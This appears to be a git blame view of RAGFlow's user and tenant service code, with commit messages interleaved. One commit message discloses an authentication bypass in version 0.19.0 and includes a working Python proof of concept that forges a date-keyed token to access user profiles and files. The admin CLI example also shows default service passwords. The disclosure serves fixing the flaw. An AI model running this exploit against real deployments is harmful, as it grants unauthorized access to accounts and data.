python admin/admin_client.py -h 0.0.0.0 -p 9381
## Supported Commands
Commands are case-insensitive and must be terminated with a semicolon
(`;`).
### Service Management Commands
- [x] `LIST SERVICES;`
- Lists all available services within the RAGFlow system.
- [ ] `SHOW SERVICE <id>;`
- Shows detailed status information for the service identified by
`<id>`.
- [ ] `STARTUP SERVICE <id>;`
- Attempts to start the service identified by `<id>`.
- [ ] `SHUTDOWN SERVICE <id>;`
- Attempts to gracefully shut down the service identified by `<id>`.
- [ ] `RESTART SERVICE <id>;`
- Attempts to restart the service identified by `<id>`.
### User Management Commands
- [x] `LIST USERS;`
- Lists all users known to the system.
- [ ] `SHOW USER '<username>';`
- Shows details and permissions for the specified user. The username
must be enclosed in single or double quotes.
- [ ] `DROP USER '<username>';`
- Removes the specified user from the system. Use with caution.
- [ ] `ALTER USER PASSWORD '<username>' '<new_password>';`
- Changes the password for the specified user.
### Data and Agent Commands
- [ ] `LIST DATASETS OF '<username>';`
- Lists the datasets associated with the specified user.
- [ ] `LIST AGENTS OF '<username>';`
- Lists the agents associated with the specified user.
### Meta-Commands
Meta-commands are prefixed with a backslash (`\`).
- `\?` or `\help`
- Shows help information for the available commands.
- `\q` or `\quit`
- Exits the CLI application.
## Examples
```commandline
admin> list users;
+-------------------------------+------------------------+-----------+-------------+
| create_date | email | is_active | nickname |
+-------------------------------+------------------------+-----------+-------------+
| Fri, 22 Nov 2024 16:03:41 GMT | jeffery@infiniflow.org | 1 | Jeffery |
| Fri, 22 Nov 2024 16:10:55 GMT | aya@infiniflow.org | 1 | Waterdancer |
+-------------------------------+------------------------+-----------+-------------+
admin> list services;
+-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
| extra | host | id | name | port | service_type |
+-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
| {} | 0.0.0.0 | 0 | ragflow_0 | 9380 | ragflow_server |
| {'meta_type': 'mysql', 'password': 'infini_rag_flow', 'username': 'root'} | localhost | 1 | mysql | 5455 | meta_data |
| {'password': 'infini_rag_flow', 'store_type': 'minio', 'user': 'rag_flow'} | localhost | 2 | minio | 9000 | file_store |
| {'password': 'infini_rag_flow', 'retrieval_type': 'elasticsearch', 'username': 'elastic'} | localhost | 3 | elasticsearch | 1200 | retrieval |
| {'db_name': 'default_db', 'retrieval_type': 'infinity'} | localhost | 4 | infinity | 23817 | retrieval |
| {'database': 1, 'mq_type': 'redis', 'password': 'infini_rag_flow'} | localhost | 5 | redis | 6379 | message_queue |
+-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
```
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
Signed-off-by: jinhai <haijin.chn@gmail.com>
2025-09-22 10:37:49 +08:00
|
|
|
|
Fix: Authentication Bypass via predictable JWT secret and empty token validation (#7998)
### Description
There's a critical authentication bypass vulnerability that allows
remote attackers to gain unauthorized access to user accounts without
any credentials. The vulnerability stems from two security flaws: (1)
the application uses a predictable `SECRET_KEY` that defaults to the
current date, and (2) the authentication mechanism fails to properly
validate empty access tokens left by logged-out users. When combined,
these flaws allow attackers to forge valid JWT tokens and authenticate
as any user who has previously logged out of the system.
The authentication flow relies on JWT tokens signed with a `SECRET_KEY`
that, in default configurations, is set to `str(date.today())` (e.g.,
"2025-05-30"). When users log out, their `access_token` field in the
database is set to an empty string but their account records remain
active. An attacker can exploit this by generating a JWT token that
represents an empty access_token using the predictable daily secret,
effectively bypassing all authentication controls.
### Source - Sink Analysis
**Source (User Input):** HTTP Authorization header containing
attacker-controlled JWT token
**Flow Path:**
1. **Entry Point:** `load_user()` function in `api/apps/__init__.py`
(Line 142)
2. **Token Processing:** JWT token extracted from Authorization header
3. **Secret Key Usage:** Token decoded using predictable SECRET_KEY from
`api/settings.py` (Line 123)
4. **Database Query:** `UserService.query()` called with decoded empty
access_token
5. **Sink:** Authentication succeeds, returning first user with empty
access_token
### Proof of Concept
```python
import requests
from datetime import date
from itsdangerous.url_safe import URLSafeTimedSerializer
import sys
def exploit_ragflow(target):
# Generate token with predictable key
daily_key = str(date.today())
serializer = URLSafeTimedSerializer(secret_key=daily_key)
malicious_token = serializer.dumps("")
print(f"Target: {target}")
print(f"Secret key: {daily_key}")
print(f"Generated token: {malicious_token}\n")
# Test endpoints
endpoints = [
("/v1/user/info", "User profile"),
("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing")
]
auth_headers = {"Authorization": malicious_token}
for path, description in endpoints:
print(f"Testing {description}...")
response = requests.get(f"{target}{path}", headers=auth_headers)
if response.status_code == 200:
data = response.json()
if data.get("code") == 0:
print(f"SUCCESS {description} accessible")
if "user" in path:
user_data = data.get("data", {})
print(f" Email: {user_data.get('email')}")
print(f" User ID: {user_data.get('id')}")
elif "file" in path:
files = data.get("data", {}).get("files", [])
print(f" Files found: {len(files)}")
else:
print(f"Access denied")
else:
print(f"HTTP {response.status_code}")
print()
if __name__ == "__main__":
target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
exploit_ragflow(target_url)
```
**Exploitation Steps:**
1. Deploy RAGFlow with default configuration
2. Create a user and make at least one user log out (creating empty
access_token in database)
3. Run the PoC script against the target
4. Observe successful authentication and data access without any
credentials
**Version:** 0.19.0
@KevinHuSh @asiroliu @cike8899
Co-authored-by: nkoorty <amalyshau2002@gmail.com>
2025-06-05 05:10:24 +01:00
|
|
|
# Call parent query method for valid requests
|
|
|
|
|
return super().query(cols=cols, reverse=reverse, order_by=order_by, **kwargs)
|
|
|
|
|
|
2024-01-15 08:46:22 +08:00
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def filter_by_id(cls, user_id):
|
2025-03-13 19:06:50 +08:00
|
|
|
"""Retrieve a user by their ID.
|
2025-04-15 10:20:33 +08:00
|
|
|
|
2025-03-13 19:06:50 +08:00
|
|
|
Args:
|
|
|
|
|
user_id: The unique identifier of the user.
|
2025-04-15 10:20:33 +08:00
|
|
|
|
2025-03-13 19:06:50 +08:00
|
|
|
Returns:
|
|
|
|
|
User object if found, None otherwise.
|
|
|
|
|
"""
|
2024-01-15 08:46:22 +08:00
|
|
|
try:
|
|
|
|
|
user = cls.model.select().where(cls.model.id == user_id).get()
|
|
|
|
|
return user
|
|
|
|
|
except peewee.DoesNotExist:
|
|
|
|
|
return None
|
|
|
|
|
|
|
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def query_user(cls, email, password):
|
2025-03-13 19:06:50 +08:00
|
|
|
"""Authenticate a user with email and password.
|
2025-04-15 10:20:33 +08:00
|
|
|
|
2025-03-13 19:06:50 +08:00
|
|
|
Args:
|
|
|
|
|
email: User's email address.
|
|
|
|
|
password: User's password in plain text.
|
2025-04-15 10:20:33 +08:00
|
|
|
|
2025-03-13 19:06:50 +08:00
|
|
|
Returns:
|
|
|
|
|
User object if authentication successful, None otherwise.
|
|
|
|
|
"""
|
2024-01-15 08:46:22 +08:00
|
|
|
user = cls.model.select().where((cls.model.email == email),
|
|
|
|
|
(cls.model.status == StatusEnum.VALID.value)).first()
|
|
|
|
|
if user and check_password_hash(str(user.password), password):
|
|
|
|
|
return user
|
|
|
|
|
else:
|
|
|
|
|
return None
|
|
|
|
|
|
2025-09-25 16:15:15 +08:00
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def query_user_by_email(cls, email):
|
|
|
|
|
users = cls.model.select().where((cls.model.email == email))
|
|
|
|
|
return list(users)
|
|
|
|
|
|
2024-01-15 08:46:22 +08:00
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def save(cls, **kwargs):
|
|
|
|
|
if "id" not in kwargs:
|
|
|
|
|
kwargs["id"] = get_uuid()
|
|
|
|
|
if "password" in kwargs:
|
2024-03-27 11:33:46 +08:00
|
|
|
kwargs["password"] = generate_password_hash(
|
|
|
|
|
str(kwargs["password"]))
|
2024-02-29 14:03:07 +08:00
|
|
|
|
|
|
|
|
kwargs["create_time"] = current_timestamp()
|
|
|
|
|
kwargs["create_date"] = datetime_format(datetime.now())
|
|
|
|
|
kwargs["update_time"] = current_timestamp()
|
|
|
|
|
kwargs["update_date"] = datetime_format(datetime.now())
|
2024-01-15 08:46:22 +08:00
|
|
|
obj = cls.model(**kwargs).save(force_insert=True)
|
|
|
|
|
return obj
|
|
|
|
|
|
|
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def delete_user(cls, user_ids, update_user_dict):
|
|
|
|
|
with DB.atomic():
|
2024-03-27 11:33:46 +08:00
|
|
|
cls.model.update({"status": 0}).where(
|
|
|
|
|
cls.model.id.in_(user_ids)).execute()
|
2024-01-15 08:46:22 +08:00
|
|
|
|
|
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def update_user(cls, user_id, user_dict):
|
|
|
|
|
with DB.atomic():
|
|
|
|
|
if user_dict:
|
2024-02-29 14:03:07 +08:00
|
|
|
user_dict["update_time"] = current_timestamp()
|
|
|
|
|
user_dict["update_date"] = datetime_format(datetime.now())
|
2024-03-27 11:33:46 +08:00
|
|
|
cls.model.update(user_dict).where(
|
|
|
|
|
cls.model.id == user_id).execute()
|
2024-01-15 08:46:22 +08:00
|
|
|
|
2025-09-25 16:15:15 +08:00
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def update_user_password(cls, user_id, new_password):
|
|
|
|
|
with DB.atomic():
|
|
|
|
|
update_dict = {
|
|
|
|
|
"password": generate_password_hash(str(new_password)),
|
|
|
|
|
"update_time": current_timestamp(),
|
|
|
|
|
"update_date": datetime_format(datetime.now())
|
|
|
|
|
}
|
|
|
|
|
cls.model.update(update_dict).where(cls.model.id == user_id).execute()
|
|
|
|
|
|
2025-08-28 18:40:32 +08:00
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def is_admin(cls, user_id):
|
|
|
|
|
return cls.model.select().where(
|
|
|
|
|
cls.model.id == user_id,
|
|
|
|
|
cls.model.is_superuser == 1).count() > 0
|
|
|
|
|
|
Feat: add admin CLI and admin service (#10186)
### What problem does this PR solve?
Introduce new feature: RAGFlow system admin service and CLI
### Introduction
Admin Service is a dedicated management component designed to monitor,
maintain, and administrate the RAGFlow system. It provides comprehensive
tools for ensuring system stability, performing operational tasks, and
managing users and permissions efficiently.
The service offers monitoring of critical components, including the
RAGFlow server, Task Executor processes, and dependent services such as
MySQL, Infinity / Elasticsearch, Redis, and MinIO. It automatically
checks their health status, resource usage, and uptime, and performs
restarts in case of failures to minimize downtime.
For user and system management, it supports listing, creating,
modifying, and deleting users and their associated resources like
knowledge bases and Agents.
Built with scalability and reliability in mind, the Admin Service
ensures smooth system operation and simplifies maintenance workflows.
It consists of a server-side Service and a command-line client (CLI),
both implemented in Python. User commands are parsed using the Lark
parsing toolkit.
- **Admin Service**: A backend service that interfaces with the RAGFlow
system to execute administrative operations and monitor its status.
- **Admin CLI**: A command-line interface that allows users to connect
to the Admin Service and issue commands for system management.
### Starting the Admin Service
1. Before start Admin Service, please make sure RAGFlow system is
already started.
2. Run the service script:
```bash
python admin/admin_server.py
```
The service will start and listen for incoming connections from the CLI
on the configured port.
### Using the Admin CLI
1. Ensure the Admin Service is running.
2. Launch the CLI client:
```bash
python admin/admin_client.py -h 0.0.0.0 -p 9381
## Supported Commands
Commands are case-insensitive and must be terminated with a semicolon
(`;`).
### Service Management Commands
- [x] `LIST SERVICES;`
- Lists all available services within the RAGFlow system.
- [ ] `SHOW SERVICE <id>;`
- Shows detailed status information for the service identified by
`<id>`.
- [ ] `STARTUP SERVICE <id>;`
- Attempts to start the service identified by `<id>`.
- [ ] `SHUTDOWN SERVICE <id>;`
- Attempts to gracefully shut down the service identified by `<id>`.
- [ ] `RESTART SERVICE <id>;`
- Attempts to restart the service identified by `<id>`.
### User Management Commands
- [x] `LIST USERS;`
- Lists all users known to the system.
- [ ] `SHOW USER '<username>';`
- Shows details and permissions for the specified user. The username
must be enclosed in single or double quotes.
- [ ] `DROP USER '<username>';`
- Removes the specified user from the system. Use with caution.
- [ ] `ALTER USER PASSWORD '<username>' '<new_password>';`
- Changes the password for the specified user.
### Data and Agent Commands
- [ ] `LIST DATASETS OF '<username>';`
- Lists the datasets associated with the specified user.
- [ ] `LIST AGENTS OF '<username>';`
- Lists the agents associated with the specified user.
### Meta-Commands
Meta-commands are prefixed with a backslash (`\`).
- `\?` or `\help`
- Shows help information for the available commands.
- `\q` or `\quit`
- Exits the CLI application.
## Examples
```commandline
admin> list users;
+-------------------------------+------------------------+-----------+-------------+
| create_date | email | is_active | nickname |
+-------------------------------+------------------------+-----------+-------------+
| Fri, 22 Nov 2024 16:03:41 GMT | jeffery@infiniflow.org | 1 | Jeffery |
| Fri, 22 Nov 2024 16:10:55 GMT | aya@infiniflow.org | 1 | Waterdancer |
+-------------------------------+------------------------+-----------+-------------+
admin> list services;
+-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
| extra | host | id | name | port | service_type |
+-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
| {} | 0.0.0.0 | 0 | ragflow_0 | 9380 | ragflow_server |
| {'meta_type': 'mysql', 'password': 'infini_rag_flow', 'username': 'root'} | localhost | 1 | mysql | 5455 | meta_data |
| {'password': 'infini_rag_flow', 'store_type': 'minio', 'user': 'rag_flow'} | localhost | 2 | minio | 9000 | file_store |
| {'password': 'infini_rag_flow', 'retrieval_type': 'elasticsearch', 'username': 'elastic'} | localhost | 3 | elasticsearch | 1200 | retrieval |
| {'db_name': 'default_db', 'retrieval_type': 'infinity'} | localhost | 4 | infinity | 23817 | retrieval |
| {'database': 1, 'mq_type': 'redis', 'password': 'infini_rag_flow'} | localhost | 5 | redis | 6379 | message_queue |
+-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
```
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
Signed-off-by: jinhai <haijin.chn@gmail.com>
2025-09-22 10:37:49 +08:00
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def get_all_users(cls):
|
|
|
|
|
users = cls.model.select()
|
|
|
|
|
return list(users)
|
|
|
|
|
|
2024-01-15 08:46:22 +08:00
|
|
|
|
|
|
|
|
class TenantService(CommonService):
|
2025-03-13 19:06:50 +08:00
|
|
|
"""Service class for managing tenant-related database operations.
|
2025-04-15 10:20:33 +08:00
|
|
|
|
2025-03-13 19:06:50 +08:00
|
|
|
This class extends CommonService to provide functionality for tenant management,
|
|
|
|
|
including tenant information retrieval and credit management.
|
2025-04-15 10:20:33 +08:00
|
|
|
|
2025-03-13 19:06:50 +08:00
|
|
|
Attributes:
|
|
|
|
|
model: The Tenant model class for database operations.
|
|
|
|
|
"""
|
2024-01-15 08:46:22 +08:00
|
|
|
model = Tenant
|
|
|
|
|
|
|
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
2024-10-16 16:10:24 +08:00
|
|
|
def get_info_by(cls, user_id):
|
2024-03-27 11:33:46 +08:00
|
|
|
fields = [
|
|
|
|
|
cls.model.id.alias("tenant_id"),
|
|
|
|
|
cls.model.name,
|
|
|
|
|
cls.model.llm_id,
|
|
|
|
|
cls.model.embd_id,
|
2024-05-29 16:50:02 +08:00
|
|
|
cls.model.rerank_id,
|
2024-03-27 11:33:46 +08:00
|
|
|
cls.model.asr_id,
|
|
|
|
|
cls.model.img2txt_id,
|
2024-08-27 13:15:54 +08:00
|
|
|
cls.model.tts_id,
|
2024-03-27 11:33:46 +08:00
|
|
|
cls.model.parser_ids,
|
|
|
|
|
UserTenant.role]
|
|
|
|
|
return list(cls.model.select(*fields)
|
2024-10-16 16:10:24 +08:00
|
|
|
.join(UserTenant, on=((cls.model.id == UserTenant.tenant_id) & (UserTenant.user_id == user_id) & (UserTenant.status == StatusEnum.VALID.value) & (UserTenant.role == UserTenantRole.OWNER)))
|
2024-03-27 11:33:46 +08:00
|
|
|
.where(cls.model.status == StatusEnum.VALID.value).dicts())
|
2024-01-15 08:46:22 +08:00
|
|
|
|
|
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def get_joined_tenants_by_user_id(cls, user_id):
|
2024-03-27 11:33:46 +08:00
|
|
|
fields = [
|
|
|
|
|
cls.model.id.alias("tenant_id"),
|
|
|
|
|
cls.model.name,
|
|
|
|
|
cls.model.llm_id,
|
|
|
|
|
cls.model.embd_id,
|
|
|
|
|
cls.model.asr_id,
|
|
|
|
|
cls.model.img2txt_id,
|
|
|
|
|
UserTenant.role]
|
|
|
|
|
return list(cls.model.select(*fields)
|
2024-10-16 16:10:24 +08:00
|
|
|
.join(UserTenant, on=((cls.model.id == UserTenant.tenant_id) & (UserTenant.user_id == user_id) & (UserTenant.status == StatusEnum.VALID.value) & (UserTenant.role == UserTenantRole.NORMAL)))
|
2024-03-27 11:33:46 +08:00
|
|
|
.where(cls.model.status == StatusEnum.VALID.value).dicts())
|
2024-01-15 08:46:22 +08:00
|
|
|
|
2024-02-05 18:08:17 +08:00
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def decrease(cls, user_id, num):
|
|
|
|
|
num = cls.model.update(credit=cls.model.credit - num).where(
|
|
|
|
|
cls.model.id == user_id).execute()
|
2024-03-27 11:33:46 +08:00
|
|
|
if num == 0:
|
|
|
|
|
raise LookupError("Tenant not found which is supposed to be there")
|
|
|
|
|
|
2025-01-23 18:56:02 +08:00
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def user_gateway(cls, tenant_id):
|
2025-11-04 14:15:31 +08:00
|
|
|
hash_obj = hashlib.sha256(tenant_id.encode("utf-8"))
|
|
|
|
|
return int(hash_obj.hexdigest(), 16)%len(MINIO)
|
2025-01-23 18:56:02 +08:00
|
|
|
|
2024-01-15 08:46:22 +08:00
|
|
|
|
|
|
|
|
class UserTenantService(CommonService):
|
2025-03-13 19:06:50 +08:00
|
|
|
"""Service class for managing user-tenant relationship operations.
|
2025-04-15 10:20:33 +08:00
|
|
|
|
2025-03-13 19:06:50 +08:00
|
|
|
This class extends CommonService to handle the many-to-many relationship
|
|
|
|
|
between users and tenants, managing user roles and tenant memberships.
|
2025-04-15 10:20:33 +08:00
|
|
|
|
2025-03-13 19:06:50 +08:00
|
|
|
Attributes:
|
|
|
|
|
model: The UserTenant model class for database operations.
|
|
|
|
|
"""
|
2024-01-15 08:46:22 +08:00
|
|
|
model = UserTenant
|
|
|
|
|
|
2025-04-15 10:20:33 +08:00
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def filter_by_id(cls, user_tenant_id):
|
|
|
|
|
try:
|
|
|
|
|
user_tenant = cls.model.select().where((cls.model.id == user_tenant_id) & (cls.model.status == StatusEnum.VALID.value)).get()
|
|
|
|
|
return user_tenant
|
|
|
|
|
except peewee.DoesNotExist:
|
|
|
|
|
return None
|
|
|
|
|
|
2024-01-15 08:46:22 +08:00
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def save(cls, **kwargs):
|
|
|
|
|
if "id" not in kwargs:
|
|
|
|
|
kwargs["id"] = get_uuid()
|
|
|
|
|
obj = cls.model(**kwargs).save(force_insert=True)
|
|
|
|
|
return obj
|
2024-09-02 12:08:16 +08:00
|
|
|
|
|
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def get_by_tenant_id(cls, tenant_id):
|
|
|
|
|
fields = [
|
2025-04-15 10:20:33 +08:00
|
|
|
cls.model.id,
|
2024-09-02 12:08:16 +08:00
|
|
|
cls.model.user_id,
|
|
|
|
|
cls.model.status,
|
2024-10-16 16:10:24 +08:00
|
|
|
cls.model.role,
|
2024-09-02 12:08:16 +08:00
|
|
|
User.nickname,
|
|
|
|
|
User.email,
|
|
|
|
|
User.avatar,
|
|
|
|
|
User.is_authenticated,
|
|
|
|
|
User.is_active,
|
|
|
|
|
User.is_anonymous,
|
|
|
|
|
User.status,
|
2024-10-16 16:10:24 +08:00
|
|
|
User.update_date,
|
2024-09-02 12:08:16 +08:00
|
|
|
User.is_superuser]
|
|
|
|
|
return list(cls.model.select(*fields)
|
2024-10-16 16:10:24 +08:00
|
|
|
.join(User, on=((cls.model.user_id == User.id) & (cls.model.status == StatusEnum.VALID.value) & (cls.model.role != UserTenantRole.OWNER)))
|
2024-09-02 12:08:16 +08:00
|
|
|
.where(cls.model.tenant_id == tenant_id)
|
2024-10-16 16:10:24 +08:00
|
|
|
.dicts())
|
|
|
|
|
|
|
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def get_tenants_by_user_id(cls, user_id):
|
|
|
|
|
fields = [
|
|
|
|
|
cls.model.tenant_id,
|
|
|
|
|
cls.model.role,
|
|
|
|
|
User.nickname,
|
|
|
|
|
User.email,
|
|
|
|
|
User.avatar,
|
|
|
|
|
User.update_date
|
|
|
|
|
]
|
|
|
|
|
return list(cls.model.select(*fields)
|
|
|
|
|
.join(User, on=((cls.model.tenant_id == User.id) & (UserTenant.user_id == user_id) & (UserTenant.status == StatusEnum.VALID.value)))
|
|
|
|
|
.where(cls.model.status == StatusEnum.VALID.value).dicts())
|
2025-04-15 10:20:33 +08:00
|
|
|
|
2025-09-29 10:16:13 +08:00
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def get_user_tenant_relation_by_user_id(cls, user_id):
|
|
|
|
|
fields = [
|
|
|
|
|
cls.model.id,
|
|
|
|
|
cls.model.user_id,
|
|
|
|
|
cls.model.tenant_id,
|
|
|
|
|
cls.model.role
|
|
|
|
|
]
|
|
|
|
|
return list(cls.model.select(*fields).where(cls.model.user_id == user_id).dicts().dicts())
|
|
|
|
|
|
2025-04-15 10:20:33 +08:00
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def get_num_members(cls, user_id: str):
|
|
|
|
|
cnt_members = cls.model.select(peewee.fn.COUNT(cls.model.id)).where(cls.model.tenant_id == user_id).scalar()
|
|
|
|
|
return cnt_members
|
|
|
|
|
|
|
|
|
|
@classmethod
|
|
|
|
|
@DB.connection_context()
|
|
|
|
|
def filter_by_tenant_and_user_id(cls, tenant_id, user_id):
|
|
|
|
|
try:
|
|
|
|
|
user_tenant = cls.model.select().where(
|
|
|
|
|
(cls.model.tenant_id == tenant_id) & (cls.model.status == StatusEnum.VALID.value) &
|
|
|
|
|
(cls.model.user_id == user_id)
|
|
|
|
|
).first()
|
|
|
|
|
return user_tenant
|
|
|
|
|
except peewee.DoesNotExist:
|
2025-09-30 15:20:38 +08:00
|
|
|
return None
|